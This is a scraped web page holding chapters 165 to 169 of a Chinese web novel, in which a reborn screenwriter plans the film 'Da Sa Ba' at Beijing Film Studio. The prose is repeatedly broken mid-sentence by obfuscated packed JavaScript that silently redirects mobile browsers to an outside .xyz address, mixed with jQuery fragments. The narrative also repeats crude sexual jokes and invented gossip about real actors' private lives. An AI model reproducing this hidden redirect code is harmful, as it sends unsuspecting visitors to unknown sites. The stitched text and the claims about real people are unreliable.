RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490224|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今说道:“鑫焱啊,你也别觉得等这两个月亏得慌,要知道,等《太极》拍完,高远交到你手上的可是一批演技合格的演员。你不知道啊,高远为了培训这批演员,把北大的王瑶教授都请过来给他们上课了。” 张鑫炎眼睛一亮,道:“哎哟,那我不是捡了个大便宜嘛,那得好好感谢一下高远同志。” “感谢就不必了,傅奇叔叔和石慧阿姨与我有恩,袁和平指导是在傅叔叔的劝说下才肯来《太极》剧组担任武指的,我帮长城公司一点小忙也是应该的。”高远笑道。 “那我就不跟你客气了。”张鑫炎站了起来,说完后告辞离开。 次日一早,主楼会议室里热闹起来。 北电的老师带来20多名学生。 高远一瞧,一个熟脸儿都没有。 他一想就明白了,张丰毅、张铁霖、谢园这批学生经过一年多的学习,已初具明星相,在这个青年男演员断层的当口,这几位必定是各个剧组争抢的对象。 偏生北电并不禁止在校生接戏,那几位怕是都扎进剧组里去了。 高远主动把主导权交给李文化,让李导给同学们分配角色,讲讲今天的拍摄内容。 李文化也不含糊,详细介绍了一下,并挑选了几个长相还过得去的年轻人,分了几个有台词的角色给他们。 说完后,李文化带着同学们去西四牌楼街了。 高远没跟过去,他点了根烟有一口没一口地抽着,且很快进入了贤者时间。 当初想着深度参与到这部片子上来,现在想想幼稚了。 自己还是太年轻了,自认为能够统揽一切不费劲儿,没想到建组后就遭遇到各种不顺利。 虽然都已经解决了,但暗流仍然存在。 唉…… 他上辈子毕竟不是干这行的,需要学习的东西太多了。 老爸说得对,贪多嚼不烂,一口吃不成个胖子,得虚心学习才能成事。 高远把烟掐了,做了个决定,打今儿起,做一个旁观者,默默看着李文化如何执导这部片子就是了。 第165章 买厂标,自己拍 经过几天的拍摄,演员们逐渐适应了打斗节奏,全员进入到角色中。 李文化征求过高远、袁和平的意见后,决定把闯塔的戏份拍了。 这部分是整部戏里最难的,也是最高潮的戏份。 袁和平肉眼可见地紧张起来。 高远对他的要求是,每一层守塔高手都要展现出不同的武打风格。 袁指导压力山大,他拉着蔡明语重心长:“你是专业学表演出身,有一定的舞蹈功底,婆罗门这个角色的瑜伽术展现的是一个灵巧感和柔和性的统一。 你做动作的时候,切记要发巧劲儿,不要用力过猛,记住了吗?” 蔡明点着头,道:“我记住了。” “好,去吧。” 高远全程旁观,一言不发。 这几天大家也察觉到他不太对劲儿,这货竟然不再对大家指手画脚了,平静得让人感到不可思议。 李文化对高远表现出来的自觉性非常了解。 两人有过一次深入的交谈。 高远很直白地跟他说,经过这段时间的工作,我发现我并没有能力去掌控一个剧组,还得向您多多学习,所以,今后剧组的事情麻烦您多多费心吧。 李文化起初很诧异,问他为什么突然决定放手了?你一直干得很好啊。 高远说,干得好就不会引发内讧了,尤其是在为人处世这方面,我很不成熟。 见他下定了决心,李文化就不再劝了。 剧组的拍摄工作反而因为高远的放权提高了效率。 转眼一个半月过去了,闯塔的戏份全部拍完,大家终于松了口气。 剩下就是去外景拍摄。 剧组马不停蹄奔河南。 高远又躲了,没跟大部队去外景地。 他回了学校上课。 自打《太极》建组后,这货一天学都没上过。 俗话说:三天不学习,比不上嗯嗯嗯。 高远出现在教室里,可把同学们震住了。 “哟,这不是高策划么,您怎么腾出时间来学校视察了?”梁左调侃他道。 “呵呵。” “你呵呵是什么意思?” “字面意思。” 小查凑过来,道:“不屑一顾的意思。” 梁左脸黑似墨。 “高远儿,你那《太极》拍完了?”小查问。 “没,剧组去河南外景地进行拍摄了,进度很顺利,不用我一直跟组了。” 高远说着,想起还有一件事情要办,扭头看着陈建功,笑道:“建功哥,文学部江主任让我通知你,可以去北影厂住招待所了。你的作品《良心》被厂里看中了,需要你去改稿。” 陈建功激动道:“真的假的?” “比珍珠还真。”高远笑着说。 陈建功握住他的手,道:“兄弟,感谢的话我就不说了,这个作品被改编成电影后,我请你搓顿大的。” “咱们这种关系就别客气了,你去了后直接找郑伟哥,他是你的对接编辑。” “让我什么时候去啊,我得跟赵老师请假。” “越早越好,今儿就行。” 陈建功站起身,说:“那我现在就去找赵老师请假去。” 他走后,梁左低声问道:“高老师,建功哥这次能挣多少钱啊?” 高远摇着头,说道:“这我真不清楚。” “怎么也不会低于1000块吧?” “你羡慕啊?” “要说不羡慕是假的,这年头儿,谁嫌钱多了烫手不是。” 高远说道:“羡慕你也写啊。” 梁左一摊手,垂头丧气道:“我不知道写什么。” 高远:“那我就爱莫能助了。” 他老老实实在学校了上了十天课。 这日梁晓声过来找他,说:“王导回来了,《李志远》已经全部拍摄完成,正式进入到后期剪辑部分。导演让我问问你,有什么新作没?” 听他说王好为回来了,高远很高兴,拉着他下了楼,边走边说:“新作肯定有啊,走走走,去跟导演见面说……小查,帮我请个假,就说我回北影厂了。” 小查答应一声。 “你还真有新作啊,什么类型的片子?”梁晓声惊讶了片刻后问道。 “都市爱情轻喜剧。”高远蹁腿上了自行车,边骑边说道。 梁晓声咂摸咂摸,明白都市爱情轻喜剧是什么类型了,也边骑边问道:“什么时候写的?” 高远说:“有段日子了。” 他心里说,还是跟王导合作愉快啊,没有那么多糟烂事儿。 两人回到北影厂,在主楼一间办公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494380|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室里见到了王好为。 “我听说你最近萎靡不振的?”一见面,王好为就打趣他。 “不瞒您说啊,您不在的这些日子里,我的生活、工作一团乱麻。”高远拽过一把椅子来坐下。 “我回来后听说了一些闲言碎语,你也别太在意了,不遭人妒是庸才。”王好为笑着开解他。 “道理我知道,最近这些天也一直在反思,我肯定有做得不对的地方,年轻,做事情考虑不全面,仗着有点才华就犯了以自我为中心的错误,对老同志们、老导演们也不太尊重……” “停停停,喊你过来不是开你的批判大会的,你跟我说这些干嘛?” 高远嘿嘿笑了。 王好为白他一眼,道:“最近写新作了吗?” 梁晓声替他回答:“写了,都市爱情轻喜剧。” “剧本呢?”王好为问道。 “在招待所我那房间呢。”高远说道。 “那还不去拿来。”王导很急迫的样子。 她是个工作狂,一刻都停不下来。 高远笑笑,起身去了招待所房间,取了剧本折回来。 王好为翻开看了看,越看越喜欢这个故事,高远的视角太独特了,这故事聚焦的是出国热这个当前最火爆的社会话题。 通过两对夫妻各自的伴侣奔赴美利坚,剩下两人抱团取暖,逐渐产生感情来展现这个故事。 有点敏感啊。 王好为看完后说道:“故事没得说,但是,远子,我实话实说啊,《瞧这一家子》里面虽说也有爱情元素,但核心是技术创新。 纯爱情电影,目前还没有哪家电影制片厂敢于拍摄。 你这个尺度有点大了。” 高远笑道:“正是因为尺度大,才更具挑战性不是吗?您不用担心过不了审核关,我已经把剧本拿给我大伯看过了,他很支持我拍摄这部作品。” 王好为听他一说,眉开眼笑道:“既然高部长都支持你,那咱就动起来,就是……厂里今年没指标了。” 高远想了想,问道:“王导,您是从业多年的老前辈,在行业里认识的人多,能不能找到投资啊?” 王好为愣了一下,反问道:“你想干嘛?” “买厂标,咱们自己拍。”高远郑重说道。 第166章 He……Tui 王好为看着他,叹声气,问道:“小远,你跟大姐说句实话,是不是对北影厂有意见了?” 高远沉吟片刻,面露肃然,道:“有意见谈不上,我只是适应不了大国企普遍存在的管理体制僵化,职工工作拖沓,奖励机制不足等等现象。 您知道,老厂长、孙叔、朱叔都对我极好的,也愿意给我这个年轻人机会,您就当我自个儿拧巴吧,上次跟孔茂林那事儿一出,面对厂里的流言蜚语,我自个儿还没别过劲儿来。 当然还有一个原因,就像您说的,并不是我不想跟厂里合作,是厂里没指标了,所以我才想着自立门户拍摄这部片子。” 听了他的解释,王好为点点头,笑了,道:“你小子,说到底还是全面掌控一部电影之心不死。” “不不不,我保证只要能拉到投资,这部戏里您是老大,您封我个艺术策划的官儿我就心满意足了,保证不过分干涉您的工作。” 你保证个粑粑! 我还不知道你那点儿小心思? 你分明是想拿我当工具人使。 现在厂里都传遍了,说你是片霸! 是片场的**者佛朗哥! 总之高远的话王好为一个标点符号也不会信的。 但她是个很讲**的导演,也乐于使用一些有才华、有进取心的年轻人。 想了想后,王好为说道:“那些都是小事儿,有事请咱们商量着来就是了。问题是投资不好拉,这年头儿里,还没听说过有民营资本投资电影事业的案例。 再说,就算能拉到投资,你怎么保证民营资本获利呢? 最最重要的是,老厂长能同意吗?” 高远低头琢磨了片刻后说道:“我听说上面正在研究电影改革方案,问题主要集中在三个方面,第一个是电影事业的投资重点,第二个是影片的利润分配。 第三个是制片厂的经营管理。 我想,不日就会有新政策出台。” “此话当真?!” 高远笑而不语。 王好为一拍脑门儿道:“险些忘了,你大伯就是咱们的主管领导啊。” “最后一个问题与咱们无关,咱们只关心电影事业的投资和影片的利润分配就成。我想,如果改革方案中允许民营企业投资电影事业,咱们拉投资会不会简单一些了呢?” “那是会简单很多。” “至于说如何确保投资企业获得利润,我能想到的有两种方式,第一主要看政策,倘若上面真打破一部影片七十万买断版权的政策,质量上乘的片子卖高价,品质低劣的片子卖低价甚至卖不出去,卖拷贝也能确保投资企业收回成本,甚至小赚一笔。” “等等!”王好为打断了他,嘿嘿笑着压低声音道:“你小子是不是有内幕消息啊?跟大姐透露透露。” 高远能得出这个结论基于两点,第一是上辈子经历过这一次的电影改革,印象深刻。 第二点是,前阵子他跟大伯有过一次交流,期间谈过电影改革迫在眉睫,若是不改各家电影厂将会面临无米下锅的状况。 高跃华深以为然,说他也接到了真理部相关领导的指示,领导要求,由文化部牵头,搞出一套适合国产电影发展的政策来。 事关全国十几家电影制片厂的生死存亡大事,不宜再拖了。 必须在文代会召开之前把这套改革方案拿出来。 这也是为文代会的召开注入一针强心剂,让全国电影人们看到我们坚定改革的决心。 他把这事儿原原本本向王好为介绍了一遍,末了低声说道:“注意保密啊王好为同志。” 王好为乐了,“臭小子,我还用你嘱咐。我明白了,也就是说,这套改革方案会在文代会召开之际正式颁布实施。” 高远点头说是。 坐在旁边的梁晓声脸色苍白瑟瑟发抖。 我听到了什么? 这是我该听的吗? 他忽然就想明白了,高远这小子当着自己的面毫无顾忌的说出来,说明他没拿自己当外人。 一股被无条件信任的幸福感包裹着梁晓声全身。 他望向高远的目光瞬间绽放了光华。 嗯,今后你就是带头大哥了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494381|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你刚才说,还有第二种让投资企业获利的办法,继续说说啊,让我听听你的高见。”王好为轻松把话题拉了回来。 高远端起搪瓷缸子喝了口热茶,又说道:“很简单,往影片里植入广告。我打个比方吧,比如说拍摄男女主日常生活的片段,家里是不是得摆家具,摆电器。 那咱们就找家具店、家用电器生产企业去拉赞助。 跟企业家们说,拍摄的时候多给贵厂产品几个镜头,能起到宣传产品知名度、提高产品销量的作用。 我想只要他们不傻,应该不会拒绝吧。 电影上映后,观众们一看,哟,这是金星牌电视机,那是威力牌洗衣机,还有一台雪花牌电冰箱…… 嚯! 主角家是个富裕户啊。 人家都实现家用电器现代化了,咱们也赶紧买吧。” 梁晓声接了一句:“这就属于是攀比心理了,高老师这个点抓得准。” 电影还能这么拍? 王好为满脸震惊,道:“你小子,从哪儿想到的这些招儿啊?我从业十几年,从来没想过影片里那些个摆设还能起到给企业带来宣传作用,你这个脑子啊,可太好使了。 一席话听得我……大开眼界了。” 也确实如此,这些后世里屡见不鲜的植入广告,用到70年代末期,那就是大杀器,惊爆一地眼球。 《杜拉拉升职记》全片的植入广告更是做到了三分钟一小,五分钟一大,从上到下,从吃到穿…… 徐才人左手挎个LV,右手拿个大苹果,身上穿着普拉达,脚上踩着CL。 知道的她扮演个高端白领,不知道的还以为丫参加了一场时装发布会呢。 He……Tui! 高老师嘿嘿笑道:“您过奖了,我也就是突发了这么个灵感,您觉得能成吗?” 王好为思考片刻后说道:“我只能说试试看,不过也得向上面打个申请,看领导们同不同意这么做。 最后一个问题,老厂长那边你打算怎么交代? 对了,还有,你想挂靠哪家制片厂啊?” 第167章 《大撒把》 高远心说,您这又是两个问题。 “老厂长那里,我去聊聊看,他应该不会阻拦的。至于说挂靠哪家制片厂?这得看哪家厂子还有拍摄指标。”高远说道。 王好为点点头。 梁晓声提了个问题,“如果说,我是说如果啊,领导同意你这种模式,这部片子投多少钱能拍完?” 高远想了想,说道:“有70万就能拍摄制作完成,这是个小成本的电影,但票房一定不会低。” 梁晓声也点头表示明白了。 王好为说道:“做两手准备吧,第一手按照你说的去跟老厂长谈,争取这项目今年就上,我跟你一起去。第二手,如果厂里不答应,要自己拍,那就只能等明年的指标下来后再说了。” 高远一刻也不想等,他问道:“老厂长在办公室呢吗?” 王好为说道:“我回来后去过一趟了,刚才他还在。” 高远站起来,道:“那咱俩就再去一趟吧。” 王好为嗯了声,起身拿了剧本,跟他一起出了门,奔厂长办公室走过去。 见这二人一同前来,正在浇花的汪阳放下了手里的喷壶,笑容满面道:“这是有事儿啊,坐吧。” 两人在沙发上坐下。 王好为把剧本递给汪阳,道:“厂长,高远的新作,麻烦您给审阅审阅。” 汪阳接过来,看着高远,道:“别人一年写一部就算高产了,你小子,一年捣鼓好几部,我有时候真觉得不可思议,你哪来那么多故事可写啊?” 高远笑着说:“生活处处皆故事,只要认真观察,搞创作并不是一件很难的事情。” 汪阳摇摇头,将剧本翻开阅读起来。 四万多字,老头儿看得很仔细,花费约四十分钟看完。 高远和王好为聊天都压低了声音。 汪阳把剧本放在了茶几上,说道:“是个好本子,有深度,有内核,通过一对留守年轻人的视角去展现出国热的社会现象……这就是我交代给你创作的拿奖作品吧?” 他要不提醒,高远都忘记这一茬了。 坏了! 这本子想拉投资彻底没戏了! 高远点头道:“是的。” 王好为也懵,怎么个茬啊,这里面还有我不知道的事情吗? 高远苦笑着解释道:“老厂长不提醒的话,我把这事儿给忘记了。想必导演您也看出来了,这本子的女主角,我是照着健群写的,我答应过老厂长,要帮着健群拿个奖。” “也就是说,咱俩上一章商量的事儿彻底没戏了?这影片必须得让厂里拍?” 汪阳也不明所以,他问道:“你俩商量啥了?莫非还想着撇开厂里独自拍摄不成?” 高远说道:“厂里不是没指标了么,我听说明年将恢复举办百花奖评选活动,就着急拍摄这部影片以便于参加百花电影节。跟王导商量了一下,想要挂厂标拍摄。” “不行!” 老厂长立刻否了他的想法,严肃地说道:“这么好的本子,岂能被其他厂占了便宜,这个没得商量!” 高远和王好为脸色一僵。 “但是……如果今年不拍的话,我担心就赶不上明年的评奖了。”高远如实说道。 汪阳是个很果断的领导干部,他说道:“拍摄指标的事情我来想办法解决,实在不行,停了黄健中同志的一部戏,让他把指标让给你。” 高远闻言立马蹦了起来,“老厂长,我在厂子里什么处境您不是不知道啊,大家伙儿已经把我说成是片场一霸了,您再让黄导演把指标让给我,不是把我往火坑里推么。” “不遭人妒是庸才!” “您可少来吧,您这是嫌我得罪的人不够多啊。” 高远大义凛然,一副面对敌人的铡刀宁死不屈的**主义精神,道:“就算我放弃参加明年的评奖,这部片子不拍了,也绝不会再让人在背地里嚼我的老婆舌头了!” 汪阳能不知道这小子最近承受了巨大的压力么。 他太知道了。 年轻人,抗压性太差了。 你应该去辩驳,去斗争…… 哪里有压迫哪里就有反抗! 又一想,自己对这小子要求得太苛刻了些,于是改口道:“那就这样吧,我再向电影局打报告申请一个拍摄许可证,这属于特事特办。 你们两个抓紧时间把剧组筹备起来。 好为同志,让你身兼两职,不会耽搁《李志远》的后期制作吧?” 王好为立马表态道:“请厂长和班子放心,也感谢厂长和班子的信任,我就算加班加点,也会把这两个工作完成好的。再说不是还有高老师从旁协助么,新电影的筹备工作,高老师先运作起来就是了。” 汪阳看着高远,笑眯眯的样子。 高远说道:“您这个眼神儿让我心里发虚……” 汪阳哈哈大笑,一拍沙发扶手说道:“你小子少跟我装!我还不知道你,想独揽大权你都快想疯了!” 被看穿了心思,高远不好意思地笑了起来。 “好了,马上筹备起来吧,拍摄指标的事情我去想办法。我对这部影片就一个要求,务必把它拍成经典。对了,你这片子叫啥名啊?我看剧本上也没写。” “大撒把。” 咝! 好名字! 太生动且形象了! 汪阳特好奇,“女主定健群,这是咱俩早就商量好的事情,男主角,你心目中有人选了吗?” 高远吐出两个字来:“葛优。” “施雯心同志家优子?” “对。” “他能行吗?我听说他根本不会演戏啊。” “您小看他了,他只是稚嫩,之前没有过表演经验,我好好教教,没问题的。” 汪阳点头道:“你觉得合适就合适吧,反正拍砸了你负责。” 高远知道该告辞离开了,和王好为对视一眼,打了声招呼后起身走人。 王好为也是个行动能力很强的导演,从厂长办公室出来后她立刻召集拍摄团队开会,宣布又有一个新项目要上。 大家之前哪经历过节奏这么快的工作啊,一年两部电影,还是无缝衔接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504337|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但也都挺开心的。 因为只要开工就有补助拿,一天两块钱呢,美滋滋。 这个团队跟高远很熟悉了,基本上就是《瞧这一家子》的原班人马,大家配合过一次了,彼此之间很熟悉,嘻嘻哈哈跟他说笑。 “高老师厉害啊,厂里一年拍您三部作品,前所未有!” “高老师给我们讲讲这是个什么故事呗,不会是《西门大官人和金莲小娘子不得不说的故事》吧?” “高远出品,必属精品,这点是毋庸置疑的!” 高远乐得不行了,拱着手说道:“各位捧了啊,剧本稍后会发到大家手里,大家自己看就行,我只能说,这故事绝对棒,但也很有挑战性,希望在接下来这段日子里,大家伙儿多多支持我。” “没问题。” “必须的。” “咱们这组人马可不像其他组的那些货一样,气人有笑人无的!大家伙儿都支持你!” 高远为什么喜欢这组人,就是因为这个组的同志们心往一处想,劲儿往一处使,忒团结了,你在这个组里感受到的除了团结一致的工作面貌,剩下的只有欢乐的气氛了。 王好为拍拍巴掌说道:“好了好了,说正事儿。小孙去把剧本打印了,小梁,辛苦你去给《太极》剧组打个电话,问一下他们的拍摄进展情况,如果健群同志的戏份拍完了,让健群同志赶紧回来。 哦,对了,还有葛优,让他一并回来。” 助理小孙和场务小梁办差去了。 王好为扭头对高远说道:“你这部作品中,有名有姓的角色有九个,除了男女主,还有杨仲、井玲、顾颜的妻子、林周云的丈夫、张絮、帕劳领事和律师七个角色。 你心目中一定都有合适的人选了吧?” 高远摇头道:“除了男女主我是比着优子和健群写的,其他角色我还真没有参照人选。” “那咱俩商量商量,这几个角色定谁合适。那个谁,去食堂里打几份饭回来,我和高老师就在会议室里吃了。” 那个谁去了。 “先说顾颜的妻子,你故事里对她的描述是:风情万种、拜金主义、向外国外的生活,一心往资本主义国家奔,经过长达一年的申请后,终于获得了赴美签证。 在机场跟顾颜离别之际,有那么点真情流露,伤心、不舍,明知道这一别或许就再难重逢了,但更多的却是对美利坚的向往。 这个人物词儿不多,但对演技的要求很高啊。 你那句话怎么说来着?” “婊里婊气。” 王好为乐了,“对,就是这个词儿,婊里婊气……我觉得,要不,让刘小庆试试?” 高远也乐,原版《大撒把》中,顾颜妻子的扮演者是盖丽丽,现在盖丽丽还是个十几岁的孩子呢,肯定不合适了。 但是小庆姐可太适合这个出演这个人物了,那位姐姐婊气冲天啊。 “我同意,但您觉得,就这么一个小角色,小庆老师会答应出演吗?” 高远这是担心请不动对方。 第168章 紧锣密鼓的筹备起来 副导演钱康走过来,在高远身边坐下后递上根烟,说道:“我听说小庆正在跟王立闹离婚,最近焦头烂额的,大部分工作都顾不上了。” 高远把烟接过来点了,一听这话立马不困了,抽口烟后说道:“怎么回事啊?钱导详细说说。” 钱康也抽口烟,先自我辩解了一句:“我可不是个爱在人背后说三道四的人啊。” 嘿! 高远忙点头,“明白明白,咱这不是聊工作呢么,总得搞清楚小庆姐不能参加这部电影拍摄的原因不是。” 见王好为也微笑着颔首,两眼放光一副很感兴趣的样子,钱康嘿嘿一笑,压低声音道:“我这也是小道消息,我一说你们一听,都不许往外传啊。” 摄像师老于瞪着眼说道:“在座的没外人,你赶紧的,啰哩吧嗦的,像个娘们儿。” 钱康清了清嗓子,这才眉飞色舞道:“好好好,我说我说。刘小庆之前不是在**话剧团工作么,在一次汇报演出中经人介绍与解总**部歌剧团的王立相识。 大家都知道啊,小庆事业心非常强,咳咳,这是好听的。 说句不好听的,就是不择一切手段往上爬。 于是她便主动追求王立,给王立织毛衣织毛裤织**袜子,还主动提出来跟他结婚。 这年头儿,男人哪经得起姑娘如此开门见山的热烈追求啊……” 他顿了顿,又抽口烟,继续说道:“其实她的目的打一开始就很明确,就是要通过王立的关系调进京。 面对美人的追求,王立自然欣喜若狂,两人顺利结了婚。 但刘小庆的调动手续却至今没办下来,在咱们厂工作,现在还属于借调。” “不是说老厂长要花八万块给她赎身么?”高远拦了他一句。 “这话说的,什么叫赎身啊,说的老厂长跟老鸨子似的,那叫支付对方培养费。” 钱康喝口水,继续说道:“目前只是有那么个意向,也是刘小庆表现得太好了,老厂长惜才,跟她的原单位联系了一下,事情还没最终定下来呢。” 老于问道:“不管咋说,两人已经结婚了,那造成他俩离婚的因素是什么?” 钱康慢条斯理道:“工作调动不是没办成么,刘小庆心里就堵着一口气,三天两头跟王立使性子、闹别扭。王立父母又催生,刘小庆才25岁,妊娠根本不在她的考虑范围之内,她一心想拍戏成名,所以就有了矛盾。 但王立争气啊,忙活了几回就让小庆怀上了。 孕检后,刘小庆背着公婆和爱人私自将孩子打掉了,公婆气得找上门去破口大骂,闹得全楼道的人都跑出来看热闹。 刘小庆是个要脸面的人,一怒之下跟王立提出离婚。” “王立应了?”高远问道。 “怎么可能应啊,老婆是明星,说出去多有面子。”钱康嘿嘿笑道。 “这会儿正闹腾呢,所以,小庆姐参演不了这部戏。”高远说道。 “没错,她最近焦头烂额的,肯定没法接这戏。”钱康道。 王好为皱着眉头说道:“那就麻烦了,难不成,得从秀明和金玲之间选一个?” 高远从脑子里扒拉扒拉这个年代的演员,突然想到了一个很合适的演员,说道:“导演,去军区战友歌舞团找一个叫邱沛宁的舞蹈演员吧,她很适合这个角色,就说是我邀请她前来饰演顾颜的妻子,她会答应的。” 王好为看看他,见他认真,便说道:“好,我这就让人去接洽,老钱,你亲自去。” 钱康立马说好,起身离开。 邱沛宁可了不得,军人世家出身,其父为正军级人物,她本人在电视剧《西游记》里演嫦娥。 高远之所以认识她,得益于大伯和他父亲的亲密战友关系。 这货管她叫沛宁姐。 这时候,高跃林抱着一堆铝饭盒走了进来,把饭菜分发给大家。 递给高远时,他哼了一声。 高远一瞧,嘿,小叔! 您还活着呢。 他把饭盒接过来,腾出一只手抓着小叔的手腕,嘻嘻笑道:“还好吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“诶那孩子不会是你……” “不是不是,我跟他切磋的时候,他已经怀孕三个月了。” **! 两个四声,表示震惊。 高远闭着眼道:“还是你牛啊,没想到你居然好这口儿。小叔,说说呗,啥感觉啊?” 高跃林挠头一笑,道:“挺紧……张的。” 第169章 华侨公寓 高远冲他竖起根中指来。 高跃林又说道:“家里开工了,我回来后没地儿住,你那间屋子我征用了啊,打今儿起,你回家住去。” “不去跟庆姐住吗?” “艹,那不是火上浇油么。赶紧把房门钥匙给我。” 高远摸出钥匙来递给他,对他越发五体投地了。 吃过午饭,大家继续探讨。 遂定下了,林周云的丈夫由濮存昕客串,杨仲由杨立新饰演,张金玲演井玲,方舒演张絮。 帕劳领事一角暂且待定。 律师也没选出合适的演员来。 都是小角色,不重要。 全片围绕着顾颜和林周云展开,绝大多数戏份是两人联手创造出来的。 王好为心里有数,高远心里亦有数。 打今儿起,房间被小叔霸占,高远就回家里住了。 好处是道不远,骑车不到十分钟。 这晚到家时,他见大伯、大伯母也在,四位长辈炒了几道菜,正围着餐桌吃饭。 老爸和大伯一人二两酒,喝得兴起。 听见门响,一扭头儿,见这货走进来,高跃民笑道:“你怎么回来了?” 高远翻个白眼儿道:“我不能回来啊?” “抬杠是吧?” “您先抬的,说的好像这不是我家似的。” 高跃民哼了声,道:“北影厂才是高老师你的家,你都以厂为家了,工作很勤勉嘛。” 大家伙儿都乐了。 高远走过来,抢了老爸的筷子,夹了点土豆丝放进嘴里,道:“唉,能力越大责任越大,这也是没办法的事情。” 说着,他把今儿刚收到的汇款单递给老妈,又道:“六万港币,折合人民币不到两万,您收着吧。” 张雪梅懵了一下,下意识地接过来看了眼,惊呼道:“你又给香港写剧本了?” “昂,我和健群一起弄的,健群的意思是,让您存起来,就当是我俩的婚后个人财产了,您知道的,她在厂里住宿舍,没地方藏。” 高远一副满不在乎的样子。 嗯,都小钱儿。 张雪梅琢磨琢磨,又把汇款单递还给他,说道:“存你折子上吧,要不单立个户头也行。总之别给我,婆媳之间,钱这方面最敏感了。 健群是好孩子,孝顺,但这钱没有我代为保存的道理。” 齐慧芝也点头道:“小远,大家都知道你俩一片孝心,但是你妈说得对,这笔钱既然是你跟健群一起挣的,有说明了作为婚后的日常支出,钱就不能让你妈收着,免得将来说不清楚。” 见两位意见一致,高远也不矫情,把汇款单接过来揣好,又从兜里摸出来1000块钱,递给老妈道:“这钱您收着吧,别不舍得花。” 张雪梅问道:“这又是啥钱啊?” “我新写了个本子,被厂里看中了,花2000块钱买下来,正在筹备着开拍。”说完,他目光望向大伯,又道:“怕是得麻烦您了,厂里今年的拍摄指标不够用了,为了这部片子能够今年开拍,老厂长说要去电影局申请一个特殊指标。 大伯(念bai),麻烦您给电影局的领导们打声招呼吧。” 高跃华板着脸说道:“你小子少在我这里走后门儿!” 高远又夹了筷子炒藕片吃了,不紧不慢道:“这片子之所以着急拍摄,是为了参加明年的百花奖,给您侄媳妇拿奖用的。” 高跃华瞪着眼说:“让老厂长明儿个直接去办公室找我,我亲自给他批条子!” 侄子算个屁啊,事关侄媳妇拿奖,后门儿也是前门儿! 几位又笑了起来。 齐慧芝更是在高跃华胳膊上掐了一下,乐道:“原来高部长也有不讲原则的时候啊。” 咝! 疼! 高跃华呵呵一笑,道:“人多数都有点儿私心,不过我只是答应给北影厂开个条子,小远和健群这部片子能不能拿奖,就别指望我帮忙了,这点原则性我还是有的。” 高远观察了观察,见大伯最近气色很好,面色红润有光泽的,显然生活很和谐。 “大伯,您最近越发精神了啊。”他调侃道。 高跃华老脸一红,道:“滚犊子!” 齐慧芝的脸也红了起来,低着头夹菜吃掩饰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508270|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尴尬。 两人自打结婚后确实生命大和谐。 别看高跃华岁数大了,五十好几的人了,但精力特别充沛。 隔三岔五忙活个一两次,不叫事儿! 高跃民也瞪着眼,说道:“你胡说八道什么?年纪轻轻的,脑子里都什么乱七八糟的想法?” 张雪梅则意味深长看着儿砸,心说这小子不会跟健群突破那层关系了吧? 高远被老爸训斥的一语不吭,被老妈的目光瞪视的倒还倘然。 我跟群姐姐真没发生那种事儿啊。 他飞快地吃完饭,把饭碗一撂,又说道:“咱老宅子正在按部就班的重建,小叔让我转告你们,老刘家和老韩家已经各找关系去单位要房了。 事情进展顺利的话,最多七月底就会搬走。” 高跃华点头说道:“老三这次办了件正事儿。” 高跃民附和道:“那是咱爸留下来的老房子,不能被别人占了,老三这次办得不错。” 高跃华看着高远,又道:“你不是心心念念要买房么,我打听到花园村华侨公寓有一套150平的楼房要出售。 房主是阿根廷驻华参赞,人很精明,当初买这套房子就有投资的意思在里面。 